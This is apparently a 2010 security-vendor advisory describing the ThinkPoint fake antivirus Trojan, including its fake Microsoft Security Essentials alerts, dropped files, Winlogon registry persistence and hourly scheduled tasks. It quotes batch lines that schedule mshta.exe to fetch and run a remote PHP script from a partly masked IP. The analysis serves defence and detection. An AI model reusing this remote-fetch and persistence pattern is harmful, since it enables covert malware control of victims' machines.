ThinkPoint FakeAV

November 12, 2010

SonicWALL UTM Research team received reports of a new fake antivirus Trojan in the wild. This Trojan attemps to access a php script on a compromised webserver on the internet for further instructions.

During our research we found that the Trojan will masquerade as the legitimate antivirus product "Microsoft Security Essentials", complete with fake pop-up alerts and detailed scan results.



The screenshots seen above are a result of attempting to run specific legitimate programs such as Internet Explorer and RegEdit that are chosen by this fake antivirus to be a potential threat to the system.

The Trojan performs the following activities upon execution:

  • Drops the following three files on the compromised machine:
    • C:Documents and SettingsUserApplication Data444.bat
      • Contains script with 24 task entries. eg:

          at 00:23 /every:M,T,W,Th,F,S,Su mshta.exe http://91.188.x.x/77t.php?olala=4032432825575030
          at 01:23 /every:M,T,W,Th,F,S,Su mshta.exe http://91.188.x.x/77t.php?olala=4032432825575030
          at 02:23 /every:M,T,W,Th,F,S,Su mshta.exe http://91.188.x.x/77t.php?olala=4032432825575030


    • C:Documents and SettingsUserApplication Dataasdsada.bat
      • Contains script to delete the fakeav installer.

    • C:Documents and SettingsUserApplication Datahotfix.exe

  • Creates the following registry entry to ensure regular startup:
    • HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWinlogon Shell "C:Documents and SettingsUserApplication Datahotfix.exe"

  • Additional registry keys created:
    • HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache C:Documents and SettingsUserApplication Data444.bat "444"
    • HKEY_CURRENT_USERSoftwareMicrosoftWindowsShellNoRoamMUICache C:Documents and SettingsUserApplication Dataasdsada.bat "asdsada"
  • Creates 24 scheduled tasks in C:WINDOWSTasks to ensure it runs hourly:
    • C:WINDOWSTasksAt<1-24>.job

  • Attemps to use mshta.exe to open a url in order to receive further instructions:
    • URL: http://91.188.x.x/77t.php?olala=4032432825575030

SonicWALL Gateway AntiVirus provided protection against this threat via the following signature:

GAV: FakeAv.IOX (Trojan)